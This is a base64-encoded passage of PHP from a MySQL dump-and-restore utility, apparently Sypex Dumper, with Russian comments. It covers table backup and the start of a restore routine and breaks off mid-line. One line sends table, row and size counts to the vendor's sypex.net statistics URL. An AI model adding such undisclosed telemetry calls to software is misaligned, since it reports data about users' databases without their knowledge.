ICAgICAgJE51bWVyaWNDb2x1bW4gPSBhcnJheSgpOwogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgQ09MVU1OUyBGUk9NIGB7JHRhYmxlfWAiKTsKICAgICAgICAgICAgJGZpZWxkID0gMDsKICAgICAgICAgICAgd2hpbGUoJGNvbCA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgJE51bWVyaWNDb2x1bW5bJGZpZWxkKytdID0gcHJlZ19tYXRjaCgiL14oXHcqaW50fHllYXIpLyIsICRjb2xbMV0pID8gMSA6IDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9ICRmaWVsZDsKICAgICAgICAgICAgJGZyb20gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQgPSAkdGFic2l6ZVskdGFibGVdOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQyID0gcm91bmQoJGxpbWl0IC8gMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFiaW5mb1skdGFibGVdID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmluZm9bJHRhYmxlXSA+ICRsaW1pdDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMCwgJHQgLyAkdGFiaW5mb1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiSU5TRVJUIElOVE8gYHskdGFibGV9YCBWQUxVRVMiKTsKICAgICAgICAgICAgd2hpbGUoKCRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgeyR0YWJsZX1gIExJTUlUIHskZnJvbX0sIHskbGltaXR9IikpICYmICgkdG90YWwgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KSkpewogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdCsrOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRrID0gMDsgJGsgPCAkZmllbGRzOyAkaysrKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJE51bWVyaWNDb2x1bW5bJGtdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcm93WyRrXSA9IGlzc2V0KCRyb3dbJGtdKSA/ICRyb3dbJGtdIDogIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbJGtdID0gaXNzZXQoJHJvd1ska10pID8gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRrXSkgLiAiJyIgOiAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAoJGkgPT0gMSA/ICIiIDogIiwiKSAuICJcbigiIC4gaW1wbG9kZSgiLCAiLCAkcm93KSAuICIpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAkbGltaXQyID09IDApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkdGFiaW5mb1skdGFibGVdLCAkdCAvICR0YWJpbmZvWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRvdGFsIDwgJGxpbWl0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZyb20gKz0gJGxpbWl0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiO1xuXG4iKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMSwgJHQgLyAkdGFiaW5mb1swXSk7fQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAkdGFiczsKICAgICAgICAgICAgICAgICR0aGlzLT5yZWNvcmRzID0gJHRhYmluZm9bMF07CiAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcCA9ICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gKiAxMCArICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXTsKICAgICAgICBlY2hvIHRwbF9zKDEsIDEpOwogICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgJHRoaXMtPmZuX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJCYWNrdXAgb2YgREI6IGB7JGRifWAgd2FzIGNyZWF0ZWQuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KDQsNC30LzQtdGAINCR0JQ6ICAgICAgICIgLiByb3VuZCgkdGhpcy0+c2l6ZSAvIDEwNDg1NzYsIDIpIC4gIiDQnNCRIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gcm91bmQoZmlsZXNpemUoUEFUSCAuICR0aGlzLT5maWxlbmFtZSkgLyAxMDQ4NTc2LCAyKSAuICIg0JzQkSI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJGaWxlIHNpemU6IHskZmlsZXNpemV9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KLQsNCx0LvQuNGGINC+0LHRgNCw0LHQvtGC0LDQvdC+OiB7JHRhYnN9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KHRgtGA0L7QuiDQvtCx0YDQsNCx0L7RgtCw0L3QvjogICAiIC4gZm5faW50KCR0YWJpbmZvWzBdKSwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyAiPFNDUklQVD53aXRoIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2F2ZScpKSB7c3R5bGUuZGlzcGxheSA9ICcnOyBpbm5lckhUTUwgPSAn0KHQutCw0YfQsNGC0Ywg0YTQsNC50LsgKHskZmlsZXNpemV9KSc7IGhyZWYgPSAnIiAuIFVSTCAuICR0aGlzLT5maWxlbmFtZSAuICInOyB9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhY2snKS5kaXNhYmxlZCA9IDA7PC9TQ1JJUFQ+IjsKICAgICAgICAgICAgICAgIC8vINCf0LXRgNC10LTQsNGH0LAg0LTQsNC90L3Ri9GFINC00LvRjyDQs9C70L7QsdCw0LvRjNC90L7QuSDRgdGC0LDRgtC40YHRgtC40LrQuAogICAgICAgICAgICAgICAgaWYgKEdTKSBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdHUycpLnNyYyA9ICdodHRwOi8vc3lwZXgubmV0L2dzLnBocD9iPXskdGhpcy0+dGFic30seyR0aGlzLT5yZWNvcmRzfSx7JHRoaXMtPnNpemV9LHskdGhpcy0+Y29tcH0sMTA4Jzs8L1NDUklQVD4iOwoKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIHJlc3RvcmUoKXsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBJRD1iYWNrIFRZUEU9YnV0dG9uIFZBTFVFPSfQktC10YDQvdGD0YLRjNGB0Y8nIERJU0FCTEVEIG9uQ2xpY2s9XCJoaXN0b3J5LmJhY2soKTtcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfcHJvY2Vzcygi0JLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjQtSDQkdCUINC40Lcg0YDQtdC30LXRgNCy0L3QvtC5INC60L7Qv9C40LgiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMTsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddID0gaXNzZXQoJF9QT1NUWydkYl9yZXN0b3JlJ10pID8gJF9QT1NUWydkYl9yZXN0b3JlJ10gOiAnJzsKICAgICAgICAgICAgICAgICRmaWxlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6ICcnOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3NhdmUoKTsKICAgICAgICAgICAgICAgICRkYiA9ICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddOwoKICAgICAgICAgICAgICAgIGlmICghJGRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkVycm9yISDQndC1INGD0LrQsNC30LDQvdCwINCx0LDQt9CwINC00LDQvdC90YvRhSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDb25uZWN0IHRvIERCIGB7JGRifWAuIik7CiAgICAgICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtSDRg9C00LDQtdGC0YHRjyDQstGL0LHRgNCw0YLRjCDQsdCw0LfRgyDQtNCw0L3QvdGL0YUuPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwoKICAgICAgICAgICAgICAgIC8vINCe0L/RgNC10LTQtdC70LXQvdC40LUg0YTQvtGA0LzQsNGC0LAg0YTQsNC50LvQsAogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiL14oLis/KVwuc3FsKFwuKGJ6MnxneikpPyQvIiwgJGZpbGUsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJG1hdGNoZXNbM10pICYmICRtYXRjaGVzWzNdID09ICdiejInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzc2V0KCRtYXRjaGVzWzJdKSAmJiRtYXRjaGVzWzNdID09ICdneicpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9sZXZlbCddID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoUEFUSCAuICIveyRmaWxlfSIpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQpNCw0LnQuyDQvdC1INC90LDQudC00LXQvSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KfRgtC10L3QuNC1INGE0LDQudC70LAgYHskZmlsZX1gLiIpOwogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQndC1INCy0YvQsdGA0LDQvSDRhNCw0LnQuyEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOwogICAgICAgICAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJGZpbGUsICJyIik7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9ICRzcWwgPSAkdGFibGUgPSAkaW5zZXJ0ID0gJyc7CiAgICAgICAgJGlzX3NrZCA9ICRxdWVyeV9sZW4gPSAkZXhlY3V0ZSA9ICRxID0kdCA9ICRpID0gJGFmZl9yb3dzID0gMDsKICAgICAgICAgICAgICAgICRsaW1pdCA9IDMwMDsKICAgICAgICAkaW5kZXggPSA0OwogICAgICAgICAgICAgICAgJHRhYnMgPSAwOwogICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAkaW5mbyA9IGFycmF5KCk7CgogICAgICAgICAgICAgICAgLy8g0KPRgdGC0LDQvdC+0LLQutCwINC60L7QtNC40YDQvtCy0LrQuCDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5teXNxbF92ZXJzaW9uID4gNDAxMDEgJiYgKENIQVJTRVQgIT0gJ2F1dG8nIHx8ICR0aGlzLT5mb3JjZWRfY2hhcnNldCkpIHsgLy8g0JrQvtC00LjRgNC+0LLQutCwINC/0L4g0YPQvNC+0LvRh9Cw0L3QuNGOLCDQtdGB0LvQuCDQsiDQtNCw0LzQv9C1INC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNGPLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gImAuIiwgQ19XQVJOSU5HKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGxhc3Rfc2hvd2VkID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSgoJHN0ciA9ICR0aGlzLT5mbl9yZWFkX3N0cigkZnApKSAhPT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHN0cikgfHwgcHJlZ19tYXRjaCgiL14oI3wtLSkvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc19za2QgJiYgcHJlZ19tYXRjaCgiL14jU0tEMTAxXHwvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluZm8gPSBleHBsb2RlKCJ8IiwgJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAsICR0IC8gJGluZm9bNF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzX3NrZCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnlfbGVuICs9IHN0cmxlbigkc3RyKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGluc2VydCAmJiBwcmVnX21hdGNoKCIvXihJTlNFUlQgSU5UTyBgPyhbXmAgXSspYD8gLio/VkFMVUVTKSguKikkL2kiLCAkc3RyLCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlICE9ICRtWzJdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9ICRtWzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KLQsNCx0LvQuNGG0LAgYHskdGFibGV9YC4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsYXN0X3Nob3dlZCA9ICR0YWJsZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfc2tkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMTAwICwgJHQgLyAkaW5mb1s0XSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRpbnNlcnQgPSAkbVsxXSAuICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICRtWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmRleCsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWyRpbmRleF0gPSBpc3NldCgkaW5mb1skaW5kZXhdKSA/ICRpbmZvWyRpbmRleF0gOiAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW1pdCA9IHJvdW5kKCRpbmZvWyRpbmRleF0gLyAyMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbWl0ID0gJGxpbWl0IDwgMzAwID8gMzAwIDogJGxpbWl0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaW5mb1skaW5kZXhdID4gJGxpbWl0KXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGNhY2hlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJHN0cjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGluc2VydCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0Kys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc19za2QgJiYgJGluZm9bJGluZGV4XSA+ICRsaW1pdCAmJiAkdCAlICRsaW1pdCA9PSAwKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaW5zZXJ0ICYmIHByZWdfbWF0Y2goIi9eQ1JFQVRFIFRBQkxFIChJRiBOT1QgRVhJU1RTICk/YD8oW15gIF0rKWA/L2kiLCAkc3RyLCAkbSkgJiYgJHRhYmxlICE9ICRtWzJdKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFibGUgPSAkbVsyXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zZXJ0ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXNfY3JlYXRlID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvOyQvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9IHJ0cmltKCRpbnNlcnQgLiAkc3FsLCAiOyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRpbnNlcnQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA8IDQwMTAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi9FTkdJTkVccz89LyIsICJUWVBFPSIsICRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgiL0NSRUFURSBUQUJMRS9pIiwgJHNxbCkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vINCS0YvRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSsoXHcrKS9pIiwgJHNxbCwgJGNoYXJzZXQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5mb3JjZWRfY2hhcnNldCAmJiAkY2hhcnNldFsyXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChDSEFSU0VUID09ICdhdXRvJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkY2hhcnNldFsyXSAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkY2hhcnNldFsyXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICRjaGFyc2V0WzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQotCw0LHQu9C40YbQsCBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJGNoYXJzZXRbMl0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyDQnNC10L3Rj9C10Lwg0LrQvtC00LjRgNC+0LLQutGDINC10YHQu9C4INGD0LrQsNC30LDQvdC+INGE0L7RgNGB0LjRgNC+0LLQsNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZvcmNlZF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oXC9cKiFcZCtccyk/KChDT0xMQVRFKVs9XHNdKylcdysoXHMrXCpcLyk/L2kiLCAnJywgJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSspXHcrL2kiLCAiXFwxIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlLCAkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKENIQVJTRVQgPT0gJ2F1dG8nKXsgLy8g0JLRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDQtNC70Y8g0YLQsNCx0LvQuNGGLCDQtdGB0LvQuCDQvtC90LAg0L3QtSDRg9C60LDQt9Cw